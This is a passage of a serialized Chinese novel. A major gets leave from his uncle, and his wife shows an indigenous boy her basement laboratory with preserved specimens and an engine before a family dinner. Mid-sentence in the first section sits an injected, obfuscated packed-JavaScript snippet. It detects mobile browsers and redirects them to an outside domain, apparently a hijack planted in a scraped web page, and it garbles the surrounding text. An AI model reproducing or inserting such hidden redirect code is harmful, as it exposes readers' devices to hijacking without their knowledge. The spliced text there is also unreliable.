“但你要知道,伊琳她爹是矿产大亨,开战这事和他直接利益相关,也许你们的婚姻还能拴住他,否则这老头迟早拉着你爹投了主战那边。” 里奥尼德点点头,但心里可不是这么想的。 “看见这封信了吗?送信来的信使刚走,估计你还碰见他了。”叔父一边说,一边拿桌上的开信刀启开了火漆印。 “先前皇帝的口谕,要求优待原住民的政令正式下来了,这是我今天主要想说的。” 里奥尼德以为他要宣读皇帝的谕旨,一下从椅子上坐了起来。在军校的高压训练已经让他形成了对命令的条件反射。 “行了,坐下吧。”叔父看他这幅愣样子,没忍住,噗嗤一声笑了出来。 叔父又走了过来,拍了拍他的肩膀,说:“算是对你的一种保护吧,我要求给你放一段假期,具体结束时间以司令部给你发召回令为止。” 里奥尼德不懂其中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166755|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的用意,立刻反问道:“啊?为什么?” “放假还问为什么?好好把你论文写完,执行皇帝的命令。皇帝需要一批学者,与国际社会论战。”叔父不理解为什么会有人不想放假,紧接着他又说: “这事之前开会不是说了吗?就由你来做,我们要把脚下这片土地真正消化成帝国的,消化成自己的。” 没想到这么快就得到了大块的自由时间,可以完成自己的论文,里奥尼德的嘴角终于挂上了笑容。 “行了别傻笑了。”叔父站在窗前,指着远处那辆旧马车,说:“下回别坐这破玩意出门丢人了,好吗?是我罩不住你吗?” 里奥尼德连忙站起身,对叔父说:“谢谢叔父。” 叔父将里奥尼德送到办公室门口,在房门上那枚镀金的徽章下小声说道:“你跟那个原住民小子上床我都不管,但是,别再搞那些异教仪式了。” 叔父年轻时和前线的士兵在堑壕中同吃同住,说话一向粗鄙。他最后又拍了拍里奥尼德的肩膀,那粗大的手差点给他拍到墙上。 里奥尼德愣了一下,但还是点点头。 离开司令部时已是正午,阳光穿过多云的天空,照在街头巷角。随着教堂的钟声飘过来,惊起一群鸽子。它们扑棱棱地飞过刚刚解冻的河,翅膀掠过水面泛起细碎的涟漪。对街面包房敞着门,新烤的黑麦面包的香气混着路上马粪的青草味道,暖烘烘地弥漫在空气里。 上午在教堂礼拜的居民已经陆续回到家中,小贩的叫卖声又回荡在了泥泞的街道上。这时候里奥尼德靠在那张破烂的座椅上,掀起布帘看着外面的景色,车轴奇怪的响声也没有那么烦人了。 “勤务兵!”里奥尼德朝着车前喊道。 勤务兵立刻就回答:“到!” 里奥尼德心情好了许多,也不想再看见这辆管家的破车了,他说道:“没别的事,回去你把这车弄走卖了,伊琳买了个新玩意估计快运到了,卖车的钱归你。” “谢谢少校!”勤务兵在前面乐得合不拢嘴,这下能买喝不完的酒了。 走到城门的时候,里奥尼德看到卖热蜜水的摊子前围了三两个工人,铜壶嘴正喷冒着白色的蒸汽。工人把铜币叮当一声扔进铁罐里,摊主就将热腾腾的木杯递过来。他急急地啜了一口,被烫得直吐舌头,却满足地眯起了眼睛。 卖甜煎饼的小贩正守在火炉旁,那热乎乎又金灿灿的煎饼吸引了许多小孩围在一旁,他每烤好一个就放进旁边的篮子里,再盖上脏兮兮的棉布保温。 “勤务兵,去给我买个饼。”那股甜香让里奥尼德饿得不行,便喊住了勤务兵。 “少校,您要买穷人的吃食吗?”勤务兵没敢去,这毕竟是钟鸣鼎食的贵族。 里奥尼德想了想,说:“算了,停这吧,我自己下去买。” 勤务兵以为是刚才说的话惹到了少校,从里奥尼德下车起就一直跟在后面。对于乱糟糟的街头小吃摊,这个穷出身的新兵更有经验,他把那些人赶到一边,把里奥尼德推了进去。 “给我......”里奥尼德正在想要吃多少个,这时他看见那些围在旁边的孩子,“给我拿六个吧,然后再给这些孩子一人一个。” 听到这话,不管是孩子还是摊主都高兴的笑出声。那些孩子在旁边蹦蹦跳跳,身上的衣服破破烂烂,脸也脏兮兮的。里奥尼德本想抱抱他们,但还是没能放下面子。 “少校!您还认识我吗?” 里奥尼德听见有人喊他,便向声音传来的方向转过头去。从人群中钻出一个带着大檐帽的士兵,他看着那人的脸想了半天,才想起来是被他踹了一脚的士官长。 士官长耸着肩膀,脸上谄媚的笑着说:“少校,我自从那天......” 他看见了里奥尼德身后的破马车,勤务兵正在拽紧马嘴上的嚼头。也许是因为之前运过鱼,车厢外隐约的腥气招来许多苍蝇。听见士官长说话,勤务兵也扭头看了过来。 “没事了,你吃,多吃,我走了。”士官长突然收起了笑容,又挺直了腰,语气也放肆了起来,大摇大摆的赶开路人,转身离去了。 士官长莫名其妙的来这么一下,给里奥尼德也弄得不知道是怎么回事。 摊主将用油纸包好的煎饼递到里奥尼德手上后,他喊勤务兵过来,付了一枚银币。这钱都不知道能买多少甜煎饼了,老板连忙不停的朝里奥鞠躬。那些小孩手里都拿着一张饼,开开心心的跑去玩了。 马车行驶在乡间道路上,里奥尼德吃着手中的煎饼。那金黄的表皮上还滋滋地冒着细小的油泡,边缘烙出了一圈脆生生的褐色焦痕。一口咬下去,里面滚烫的奶渣和蜂蜜就流了出来,烫得里奥直哈气,但那口香甜又舍不得吐出来,只能任由它在嘴里打转。 “勤......勤务兵,刚才那个士官长怎么回事?”里奥尼德掏出手帕擦擦嘴,询问着勤务兵。 “少校,我觉得可能是看见您坐这个破马车,又去小吃摊买东西,所以......”勤务兵欲言又止,他没敢说出口。 “说吧,我听着。”煎饼凉一点了,里奥尼德一边吃一边问道。 勤务兵想了想,说:“我觉得他可能以为您被贬了,所以又嚣张了。” 听勤务兵这么说,可把他气笑了。 “这帮势利眼!” 里奥把两个煎饼都吃完,饥肠辘辘的胃缓解了不少。那奶渣柔和的酸香,混着黄油厚重的奶味,让他还想接着吃,就连沾了糖粉和蜂蜜的指尖也舔干净了,像是又回到了小的时候。 但里奥还是小心翼翼的把剩下的饼装好,他要带回去给伊琳娜和萨哈良尝尝。 转眼间,马车就开到了庄园的碎石路上。女仆们手忙脚乱的把矮脚凳搬到里奥尼德的脚下,但他想也没想就跳了下去,然后转身拿起车座上的甜煎饼。 当里奥尼德准备走向别墅主楼时,伊琳娜和萨哈良已经在那里等他了。 23.一桶白葡萄酒 “夫人,少校回来了。” 女仆推开会客厅的门,低着头对伊琳娜说道。门厅里那些正在打扫卫生的仆从们听到这个消息,也停下了手中的工作。一方面是准备出门迎接男主人归来,另一方面,她们都无比的担心自己将被庄园逐出门外。 被贵族集体开除,对于她们的职业生涯是严重污点,恐怕今后想再找到合适的雇主,也很困难了。 “萨哈良,走吧,我们去门口接他。”伊琳娜起身对萨哈良说。她看得出来,在午后昏沉的气氛里,这个少年就快要睡着了。 萨哈良听见她的话,也跟着一块站起来。由于坐的时间太久,又刚刚清醒过来,他的脚撞到了桌腿,发出了剧烈的响声。 “不......不好意思。”萨哈良有些难堪的说道。 伊琳娜没有怪他,而是笑着说道:“没事,故事里的词汇对于现在的你来说还是太晦涩难懂了,先前里奥也听睡着了,还打呼噜呢!” 她一如既往的善解人意,及时解开了萨哈良的尴尬。 穿过门厅时,手忙脚乱的女仆跑过来给他们披上了大衣和披肩,随后又跑去给男主人搬来下马车的矮脚凳。 白天站在别墅主楼的门口,萨哈良才发现这座庄园的气派: 眼前碎石子的旁边,是一片枯黄的草坪,干草下面隐隐约约冒起新鲜的嫩芽。有几棵四季常绿的冬青灌木将前院与主楼的大门隔开,透过灌木丛可以望见前院的小小花园。那里隐约能看出草坪与其中的低矮灌木,被修剪成类似波斯地毯式的图案,如果盛夏来临,想必也是美丽优雅的景色。 在草坪正中间,是一尊大理石制成的雕像。那是一个光着屁股的小孩,在他胖胖的脚下,干涸的喷泉正矗立在那里。 透过刚刚萌芽的灌木与椴木,萨哈良看见一辆黑色的马车在里面穿梭,离这里越来越近。 那辆黑色的马车破旧不堪,经过碎石路轻微的颠簸后,看起来就像快要散架了。结果在它缓慢减速时,车身甚至开始颤抖,最终在一声怪异滑稽的长长咿呀声后,车停了下来。 女仆们赶忙跑上前去,两个人将矮脚凳摆在车厢下,另外一个则是低着头等待主人下车,准备帮他拿大衣。 里奥尼德轻轻推了推门,结果因为车体轻微变形,推了几次都没打开。他只好用穿着马靴的脚踹开了这道破门,然后跃过矮脚凳,跳到了地上,就像萨哈良那样。 看到他这样,伊琳娜与萨哈良以为出了什么变故,快步从大门旁走到了马车前面,直到看见里奥尼德正冲着萨哈良露出热情的笑容。 “你们怎么了?这么想我?”那些甜食让里奥尼德感觉心情不错,笑着对他们说道。 见到他们走到面前,里奥尼德递出了包在油纸中的甜奶渣馅煎饼。 “来尝尝这个,难怪伊琳喜欢吃甜食,萨哈良你也肯定喜欢。” 伊琳娜接过煎饼,渗过包装纸的油留在了她的手上,脸上露出些许的嫌弃表情,说道:“这是什么东西,好多油。” 站在旁边的女仆赶紧拿出了手帕帮她擦干净,里奥尼德接着说:“这是我在回来路上买的甜奶渣馅煎饼,花了一枚银币呢!很好吃的,你们趁热快尝尝。” 这一大串复杂的发音听得萨哈良头发晕,他看见伊琳娜轻轻咬了一口,自己也尝了一口。 “这不就是加黄油做成的面饼吗?”伊琳娜疑惑的抬头,看着里奥尼德。优雅的吃相让她真的只是轻轻咬一口,连馅都还没咬到,只露出有些发白的面心。 里奥尼德赶紧凑过去看了一眼,直到他看见一口快吃掉一半的萨哈良,说道:“你看看萨哈良,都快吃完了。” “你不是刚吃饱饭吗!我就说你们部族供的是狗熊吧!”鹿神又在旁边开始揶揄起来。 “我这不是......刚刚和伊琳娜姐姐喝茶喝得有点饿了......”萨哈良有点委屈的说。 里奥尼德和伊琳娜都看着他,脸上露出像是看着小孩的笑容。 “你吃吧,你正长身体呢!”两人异口同声的说道。 趁着萨哈良啃煎饼,伊琳娜问里奥尼德:“今天到司令部去怎么样?有没有什么问题?” “嗯......还好,叔父说那边调兵的人被处分了,他给了我一个超长假期。”害怕他们担心,里奥特意没有说军事法庭的事。 “放假?你也被处分了?”但伊琳娜还是着急的问道。 “没有没有,”里奥尼德看了眼萨哈良,他一边咬着煎饼,也在看着里奥,“还是上次咱俩一块去开会时的事,那个政令正式下来了,叔父让我趁这段时间把论文写完,等着他发召回令再回去。” 听到这伊琳娜才放下心来,她笑着说道:“这可是好事啊,晚上让厨房做顿大餐,我们喝一杯!” 里奥尼德也笑着点点头,他想想还是不提朝中那些乱七八糟派别斗争的事情了。 初春庭院中的微风虽然还有些凉,但吹到脸上已经没那么锋利了,反而让人心旷神怡。里奥尼德靠在门柱旁边,看着萨哈良慢慢吃完煎饼,旁边那些女仆还是低着头。 “嗯?我不是说让她们明天都走吗?怎么还没收拾行李?”里奥尼德朝她们瞥了一眼,女仆们头又向下低了几分,放在围裙前的双手不知所措的揪紧了裙摆。 伊琳娜又拿了一张干净手帕,擦了擦嘴角的饼渣,笑着说道:“萨哈良说,“女仆姐姐”们对他很好。” 萨哈良看了看那些女仆,他决心不能让她们被开除,赶紧咽下还没嚼完的煎饼,说:“对!她们帮我把脏了的衬衫洗干净,还细心的帮我放在壁炉旁边烘干!” 里奥尼德点了点头,看着仆从们说道:“那就按萨哈良说的办,下次不要再发生先前那种事了,听见了吗?” 女仆们松了口气,头点得像筛糠一样。 “你真是个善良的人,萨哈良。”里奥尼德肯定的朝他笑了笑,随后接着说:“昨天睡得怎么样?我的睡衣舒服吗?” 伊琳娜听见他的话,嘴角笑得都弯起来了。 “昨天睡得很沉,睡衣也很舒服,像是......”萨哈良想了想,说:“像是人的皮肤一样滑溜,我早上是被......” 听到这句奇怪比喻,伊琳娜笑得更明显了。萨哈良看了看鹿神,鹿神正抱着双手。 “是被桌前的座钟吵醒的。”萨哈良对里奥尼德说。 “那晚上叫女仆把座钟搬走吧。走,咱们先进屋,让我喝口热茶,这煎饼吃完了口渴。”说完,里奥尼德就招呼大家一起进屋,然后他突然想起来还在身后待命的勤务兵。 里奥尼德转身对勤务兵说:“没事了,你可以走了,营里没事就来门房站岗。” “是!”勤务兵站定,朝里奥和伊琳娜敬礼,跳上马车准备离去了。 他们刚准备走上二楼,往会客厅去,就听见身后传来一声“吱呦——”的滑稽声音。 “这什么破车,怎么这种声音?”伊琳娜听见这奇怪的动静,也忍不住笑了。 里奥尼德摸了摸额头,无奈的对她说:“伊琳,别提了,这破车我让勤务兵卖了。” 他走上楼梯,厚重的马靴把地上的毯子都踩皱了。站在阴影里的仆人立刻去拿来扫把,另外一名女仆则是拿来尖头的钢制梳子,准备将地毯上的羊毛梳平。 然后里奥继续说道:“因为这破车,那天被我踹了一脚的士官长以为我被贬了,在我面前嚣张的很啊。” “谁?”伊琳娜早就忘了士官长是谁。 但是萨哈良可记得太清楚了,他向伊琳娜解释道:“就是那天在河滩边,害我趴在地上吃土的士兵。” “啧啧。”鹿神飘在旁边微微笑着。 “啊,是那人啊。没事的,里奥,我之前下订单的汽车快要到了。”伊琳娜开心的对他们说着,脸上露出的是发自内心的笑容。 又听见不明白意思的词了,萨哈良每天都在扩充词汇量,他扭头问道:“汽车?什么是汽车?” 看来鹿神用神力模拟出的语言能力需要更新了,许多新生词汇都没有。 “汽车嘛......”他们走进会客厅,里奥尼德拿起茶壶,倒进杯子里,将冷茶一饮而尽。随着喉结上下滑动,只听见“咕咚”一声。 他接着说道:“汽车就是一种四个轮子的车——” 伊琳娜激动的抢过话头,向萨哈良介绍道:“它通过内燃机驱动,不吃草也不吃肉,喝油,可以不知疲倦的一直跑下去!” 看着萨哈良疑惑的眼神,里奥尼德又继续说:“伊琳......说些萨哈良能听懂的词汇。” “还有这种工具?岂不是那天我们就能追上火车了?”鹿神也对这个话题感兴趣,凑了过来。 “这样吧!我的实验室里有一台内燃机的模型,带萨哈良去看!”提到科学技术相关的话题,伊琳娜又兴奋起来,她对里奥尼德说道:“快喝!你喝水活像是马厩里的牲口!” “我怎么了......”里奥尼德又猛喝了一口冷茶,心里刚想着这种粗鄙的词汇可是很少从她口中听到,随后就被伊琳娜一把拽走。 然后她扭头喊道“萨哈良快来!” 在前往地下室的路上,正午柔和的光线穿过走廊中的玻璃窗,空气里悬浮着细微的尘粒,于光柱中无声地飞舞。两侧墙面上,那些里奥尼德家族历代的先祖,在与阳光对比出的幽暗中渐次浮现。 和收藏室那一侧的不同,这些镀金画框中大多是些老态龙钟的面孔。 “萨哈良,看看,伊琳每次提起这些事就......”里奥尼德发现萨哈良并没有跟上来,他转过头,看到他正在端详着墙壁上的一张画。 鹿神站在旁边,也看着那张画:“看看这些老罗刹鬼的长相,活像个妖怪。” 他说的没错,那张年代久远,已经变暗发黄的油画上有着皲裂的纹路,描绘了一位老人。他的眼窝深陷,像是被人活活按进去的一样。长长鹰钩鼻在画师高超的技术下,好像随时要刺穿画布。苍白的皮肤上布满时间带来的沟渠,伴随破旧的效果,看起来更是恐怖。 “萨哈良,这张画其实是我的祖父”里奥尼德见萨哈良怔在这幅画前,便解释道。 他想了想,努力翻找着回忆,像是揭起因为年代久远而泛黄变脆的书页,轻轻说道:“我们家族也不全是些将军,这边挂的都不是。他年轻时曾经是皇帝的宠臣,大概五十来岁的时候吧,一次外出打猎时从马上摔下来......” 听见里奥尼德讲起家族史,伊琳娜也 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随后里奥尼德继续说这件事:“那几十年是我们家族除却开国以来最辉煌的时刻,皇帝励精图治,帝国四处征伐。祖父担任钦差大臣,家族中出了好几个将军。” “但皇帝老了之后,变得乖戾。据说祖父那时候时常被派去做一些不光彩的脏活......总之,他疯了之后,没人再烦他了。” 里奥尼德说完,摸了摸自己的额头。他心里想着,也没准祖父是时常回忆起那段肮脏的时光才逐渐逼疯自己的吧,像是一个真正的理想主义者那样。 他们站在走廊里聊了一会,又继续朝着地下室走去。 萨哈良努力不向墙壁两侧看去,那些古老肖像画带着穿越时间的凝固目光,从厚重的油彩和积年发黄的光油后面望出来,沉默注视着穿过走廊的活人。油画颜料的光泽在画布表面微微反光,仿佛那些面孔仍在呼吸。 越往走廊深处走去,午后柔和的光线愈发力不从心,黑暗开始凝聚,变得浓重。 长廊的尽头,一扇与华丽装饰格格不入的橡木门嵌在墙里。它虚掩着,露出一道深不见底的黑暗。门上的黑铁铰链冰冷而粗糙。 “请吧。”伊琳娜转过头笑着对大家说。 里奥有点惊讶的问着:“伊琳,你真的天天夜里跑到这写小说吗?” “对啊,有什么问题吗?” 萨哈良看着毫无惧色的伊琳娜,说道:“伊琳娜姐姐很勇敢,这里我晚上可能也不敢来。” 伊琳娜指了指心脏的位置,说:“那是因为我的心里没有神和鬼。” 里奥尼德想起那晚,伊琳说祭祀是亵神时的场景,嘴角挂上若有若无的笑意。 伊琳娜握住冰冷的黄铜门把,一股带着地底潮气的寒意立刻翻滚上来。那冷风中混合着泥土、化学试剂和某种无法名状的腐败气息扑面而来。 眼前,粗糙的石阶以并不安全的角度,向下延伸,迅速被一片稠密的黑暗所吞没。午后那点柔和的光明被彻底隔绝在身后,如同被突然合上的华丽盒子。 “你们知道吗?新大陆一名叫做爱伦坡的小说家就描写过地下室杀人的故事。”伊琳娜摸索着石墙上的开关,昏黄的白炽灯亮起,气氛反而显得更加诡异了。 里奥尼德好像很胆小,他小声说:“伊琳,别......” 听他这么说,伊琳娜更来劲了:“没事萨哈良,我跟你说,小时候我在书架上无意中发现爱伦坡的小说集,给里奥念,吓得他好几天没睡觉。” “真的吗?我以为里奥是那种胆子很大的人。”萨哈良惊讶的看向里奥尼德。 里奥尼德无奈的叹口气,继续向前走着。 “简单来说,那是饱受欺凌的主角,以一桶美酒欺骗仇人的故事。”伊琳娜边说,一边示意萨哈良小心脚下潮湿的台阶。 她说起故事时的语气并不像平时那么清脆,是个天生的讲述者:“仇人嗜酒如命,他将仇人骗到地窖中,告诉他地窖里一个狭窄房间中藏着美酒。” “那是一个狂欢节,快乐的气氛中怎么能没有美酒呢?正像是今天——”伊琳娜幽幽的说着,提到今天时,萨哈良吓得抖了一下。 他被这样的气氛代入,听得入迷,鹿神也在旁边倾听着。 伊琳娜投来一个神秘的眼神,随后接着说道:“然后呢,仇人是个胖子,他卡在地窖的小房间里翻找着美酒。” “主角一边和他聊天,就像我现在和萨哈良聊天。”伊琳娜停住的时候,萨哈良感觉心脏也停了一瞬。 “趁他聊的起劲儿,拿出事先准备好的砖头,抹上水泥,就这么——” “一块。” “一块。” “一块。” 他们每走下一个台阶,伊琳娜的口中就增加了一块砖头。里奥尼德忍住想笑的冲动,没有打断伊琳娜的表演。 “仇人就被——” 三人已经走到了地下室,萨哈良紧盯着伊琳娜,等待她说接下来的剧情。只见她猛地掀起地下室拱形门洞上挂着的两块门帘,背对着实验室里流光溢彩的瓶瓶罐罐、结构复杂的机械,以及挂在天花板上的奇异动物骨骼,大声说: “噔噔!仇人就被砌在墙里了!” 24.静止的生命 在伊琳娜猛地掀起黑色天鹅绒制成的布帘后,并没有出现什么可以将人砌进去的酒窖房间,地上也没有砖块和水泥。眼前是被玻璃与金属占据的空间,墙壁是光滑冰冷的灰色砖石,上面凝结着细密的水珠,和矿物析出的痕迹。无数烧杯与烧瓶整齐地排列在宽大的工作台上,里面盛着色彩诡异的液体。 有些幽绿如萤火,猩红如血液,纯白如祭祀涂抹的颜料。这些液体有的在无声地冒着气泡,仿佛有什么看不见的东西正在里面孕育。 伊琳娜得意的将双手放在胸前,看着萨哈良瞪大的眼睛。 在角落的玻璃圆柱形容器里,一只即便褪色也能看出曾经色彩斑斓的鸟,它张着翅膀,却凝固在空中,眼睛是两颗浑浊而没有生气的珠子。旁边,一只雪兔的毛发根根分明,却被从中间剖开,露出了里面暗褐色的内脏。它们是标本,但在萨哈良眼中,这与巫术无异,将生命强行锁定在了死亡的瞬间。 “这是亵渎。”鹿神有些震惊的看着如今人类的所作所为。 他看不懂浸泡在福尔马林中的那些动物,以及承装它们的容器标签上究竟写了些什么。那些花体的拉丁文字就像符咒一般,封印着远东的生灵。 “伊琳娜姐姐,为什么要把这些动物泡起来,它们不会烂掉吗?”经过这两天的相处,萨哈良相信他们不是会亵渎生命的人。 伊琳娜发现了萨哈良的异样,对他解释道:“这是标本,被泡在防腐的溶液中。” 她走到那只雪兔面前,它浑浊眼球映照出伊琳娜华丽的长裙。随后她继续说道:“这是人类认知世界的一种手段,玻璃后面代表了人类从自然的一员,变成了观察自然的上帝。” 萨哈良似懂非懂,他点点头。 “你们管这种兔子叫什么?”伊琳娜对萨哈良问道。 萨哈良同时用部族语和帝国语回答道:“雪兔。” 伊琳娜也点点头,她解释道:“这串文字,Lepus timidus,也许你听它像是咒语一般,但它是认知自然的一种尺度。” 见萨哈良不理解“尺度”一词,伊琳娜继续讲解:“Lepus指野兔,Timidus则是指胆怯的,我们用它指代雪地中害羞的生灵。” “这就像我不理解圣物为什么是截枯骨一样。”萨哈良又想起了神父的圣物匣。 但伊琳娜笑着摇摇头,说道:“这不一样,在西方不同国家的语言中,对静物,也就是这种静止事物的表述也不相同。” 她一边说,一边在桌上的标本之间踱步。 “有的将其描述为静止的生命,有的将其描述为死去的自然。你更认同哪一个?”伊琳娜反问着。 萨哈良想了想,部族的生死观不符合这两者,但还是回答:“可能是死去的自然吧......” 伊琳娜笑了笑,说:“现在继续解答用途。我们有时会在兔子身上实验,因为人是至高无上的,无理情况下在人身上实验是违法的行为。” 她发现萨哈良并不能理解实验的意义,于是接着说道:“里奥早上去司令部拜访的叔父,他在外征战时曾经罹患天花,又身负重伤。” 伊琳娜敲了敲装标本的玻璃罐:“无论是动物,还是从人类尸体上得来的经验,最终治好了他。” 萨哈良点点头,但鹿神抢在萨哈良回答之前说道:“我都不认同,生灵就是生灵。萨哈良,你们并不比雪兔高贵。” 鹿神几乎想要捂住他的耳朵,不让他再被这些歪理邪说侵蚀了。 里奥尼德也认同伊琳娜的态度,他慢慢说道:“也许入城时你已经见过那些贫穷的人们了,在医学进步之前,他们的平均寿命只有30岁。” 萨哈良能理解他所说的,因为像乌娜吉奶奶和祖母能活到80岁,在部族中已经极为罕见了。 里奥接着补充:“但现在,即便贫穷,他们也至少能活到50岁。” 年轻的少年在心中默默沉思着,他听不懂伊琳娜所说的那些理论,可他们的研究却实实在在的改变了一切。 死亡并不好过,萨哈良见过部族那些老人们垂死前的挣扎,能够安心前往天上雪原的,是极少数。无论是死前失禁还是病痛折磨,这件事本身并不体面,尤其是他听过阿沙父亲濒死时所说的,那种所谓“大恐怖。” 再者说,死亡对于生者来说,也是折磨。失去亲眷的人们整夜整夜的在屋中踱步,他们不停的哭嚎,直到萨满宣布死者已经前往天上雪原,与祖灵一同狩猎时,大家才停下来。 但可能也是悲伤过度,哭不出来了。 鹿神也许是发现了萨哈良在想什么,他严肃的盯着少年。 “萨哈良,来,不要再琢磨有关死亡的事了。”伊琳娜笑着说,她指着房间角落中一个盖着破旧帆布的东西,对里奥尼德说道: “里奥,帮我把帆布掀起来,我没换工作服,不想弄脏裙子。” 里奥尼德听她这么说,走上前去掀开了盖在上面的破布。 萨哈良好奇的探出头,在帆布下面,是一块巨大的钢铁疙瘩,像是颗粗糙的巨石。其主体是巨大又笨重的铸铁缸体,表面布满铸造时留下的粗糙纹路,通体被刷上一层黯淡的黑漆。但边缘处已被磨损和油污侵蚀得露出了金属的原色,缝隙间尽是些肮脏的油泥。 铁疙瘩上方,有一个硕大的轮子,轮子的凹槽里紧绷着一条皮带,也许是使用太过频繁,皮带的边缘已经毛糙了,仿佛就要断掉。 伊琳娜先是将玻璃瓶中深褐色的液体倒进铁疙瘩中,又拿起火柴,点燃了一旁的酒精灯。随后她掏出手帕擦了擦露在铁疙瘩外面的一截铜管,用酒精灯将铜管烤到炽热。 “萨哈良,你要不要试试转动这个轮子?”她转过头,邀请萨哈良走过来。 萨哈良挽起袖子,小心翼翼的转了一下轮子。 “它怎么这么重......”他发现轮子并没有被转起来。 “哈哈,没事的萨哈良,不用这么小心,你要用力才行。”伊琳娜笑着对他说。 既然这样,萨哈良就用尽全力猛的将轮子转了一圈,房间里的人们都紧盯着他,鹿神也在看着他手中的轮子。 “砰!砰!砰!” 随着一阵金属撞击声,铁疙瘩旁边的管子瞬间喷出一股浓烈的刺鼻烟雾。 响声节奏是间歇性的,好像铁疙瘩的内部正在爆炸。噪音震耳欲聋,热量从铁疙瘩的表面散发出来,使得周围的空气都微微扭曲,原本阴冷的房间也暖和起来。 萨哈良以为自己复活了什么钢铁怪物,那个被称为内燃机的东西此刻正像心脏一般跳动,他猛地抽回手,又向后退了几步。 “这就是内燃机!别看它只有这么大,但是......”在吵闹的房间里,伊琳娜大声说着,她想了想该怎么和萨哈良解释。 “虽然我这么说不对,但它大概相当于十匹马加在一起的力量,而且不用吃草。”伊琳娜指了指那瓶棕褐色的液体,接着说道: “它只需要喝那瓶液体就可以了。” 为萨哈良介绍完,伊琳娜示意里奥尼德帮忙关闭这个铁制的心脏。里奥伸出手拧了下铁疙瘩上的阀门,滚烫的表面还差点烫到了他。 随着一阵颤抖,铁疙瘩慢慢恢复了平静。 “那这个液体是什么?”萨哈良好奇的打量着玻璃瓶,它看起来粘稠,里面些微的有些絮状的物体慢慢下沉,像是油一样。 伊琳娜打开盖子,送到萨哈良的鼻子前闻了闻,刺鼻的气味让他皱起眉头。 看他的反应,伊琳娜笑了笑,说:“你可以说它是大地的血液,因为这是从地下抽取上来的。” 这下轮到鹿神皱眉了。当伊琳娜说完,鹿神急迫的催着萨哈良提问:“快问这个小姑娘,人类拥有了这种力量,他们之间相互征伐的烈度岂不是无法克制了?” 萨哈良想了想,整理了下语言,说道:“那你们拥有了这样强大的力量,如果打起仗来岂不是要死很多人......” 这不是伊琳娜了解的领域,里奥尼德替他回答了这个问题:“事实上,即便是没有这种力量,人类的战争间死伤几十万人也是常见的。但科学进步的近十多年已经没有发生过那种战争了,没人知道会怎么样。” “几十万人,恐怕所有部族加起来也没有这么多人,这已经是上古神话时代的可怕程度了。”里奥尼德描述的情况,鹿神也没见过。 “萨哈良,也许科学的进步最终能够改变一切,消弭人类之间的不平等,最终避免战争。”伊琳娜以理想化的方式结束了实验室中的谈话。 里奥尼德本还想说什么,但话总是噎在嘴中说不出来。他知道战争的阴影始终浮在众人头顶,人类的欲壑也总是难填,但那不是伊琳的错。 从地下室离开的时候,夜色已经慢慢降临了。仆从们悄悄点上了走廊中的灯火,饭菜的香味正从会客厅中飘来。和第一天来到这里时不同,萨哈良感觉自己正在慢慢熟悉庄园里的生活,就连墙壁上挂着的肖像画也变得亲切了一些。 长桌这次换上浆洗平整的酒红色花纹桌布,银质烛台的光芒流淌其上,映照出极尽精致的晚宴。一旁的女仆从会客厅的侧门进进出出,将后厨精心烹制得当的美食一道接一道的端上餐桌。 这次屋顶那巨大的水晶吊灯上,只点燃了其中几根蜡烛。柔和摇曳的烛光穿过水晶棱柱,将碎金般的光斑投洒向整个房间,在房间角落阴影的衬托下,显得令人柔和而放松。 至少萨哈良隐隐感觉到,这一次,这座豪华的庄园才真正接纳了这位异乡人。 不再像先前那么畏手畏脚后,他也第一次仔细的打量着会客厅里的布置。餐桌下面铺着一张图案繁复的羊毛地毯,在深红与藏蓝的底色里吞没了人们的脚步声。 墙边立着直达天花板的书柜,里面塞满了用皮革装订的书籍,书脊上烫金的文字在灯火下闪闪发亮。另一侧,有架钢琴,上面摆放着家族成员的合影照片。最重要的墙面还是那些肖像画,穿着军装或长裙的男女,他们的面容在烛光下显得更加生动,仿佛随时从阴影中走出来,与宾客举杯。 “请吧,萨哈良。这一次你不再是客人,而是我们的一员了。”里奥尼德高兴的半躬下身子,向前伸出手,示意萨哈良先行入座。 伊琳娜轻轻搬出椅子,也对他说道:“是的,来,坐下吧。” 萨哈良走得慢了一些,他等了会飘在身后沉思着的鹿神,然后坐在了椅子上。 首先第一道端上来的,是餐前的肉汤。它被盛在浅口宽边的镀金磁盘里,汤底用鲟鱼、牛肉与腌黄瓜熬煮,酸咸开胃,面上浮着黑橄榄、柠檬薄片和一勺酸奶油,旁边配着则是新鲜出炉的白面包。 “萨哈良,我教你,可以先把面包撕下来沾汤吃一点。”里奥尼德一边撕,一边演示着。 但萨哈良已经轻车熟路的这么做了,他对里奥说:“中午吃饭的时候,伊琳娜姐姐已经教给我啦!” 里奥尼德看了眼伊琳娜,又接着说:“嗯?你快成萨哈良的老师了?” 伊琳娜朝他笑了笑,萨哈良又说:“是的!伊琳娜姐姐还教我怎么喝茶了。” 在等待下一道菜端上来的时候,萨哈良想起来下午在实验室时,想和伊琳娜说的话。 “对了伊琳娜姐姐,我想起来今天下午看到你的实验室,让我想起部族中老萨满的占卜小屋,也是挂满了各种奇奇怪怪的东西。” 作为人类学出身的里奥尼德更能理解萨哈良话中的含义:“确实,萨满作为人类认识未来的媒介,与科学家倒是有异曲同工之妙。” 伊琳娜点点头,说:“这么说是有这种感觉,但是,科学家能让这一切成真。” 她举起酒杯,对他们说:“拿起酒杯吧,朋友们,未来已至!” 萨哈良也学着他们的样子,站起身,将水晶杯碰在一起,发出清脆的声响。 随着汤盘撤下,主菜由两名女仆端着呈上。椭圆形的盘子中是一整条烤鲟鱼,体型虽不至于多庞大,却很是气派。鱼皮烤得金黄微焦,淋着黄油与香草,散发出诱人的焦香。配菜则是慢火烤炙的小牛肉排,搭配着用酸奶油和一些蔬菜熬制的浓稠酱汁。 “萨哈良,尝尝这个,趁着春季还能吃一回,再想吃就要到秋天了。”里奥已经拿起了刀叉,从那条鱼的腹部切下肥美的肉,放到了萨哈良的盘子中。 在他细细品尝鲜美的鱼肉时,鹿神说话了。 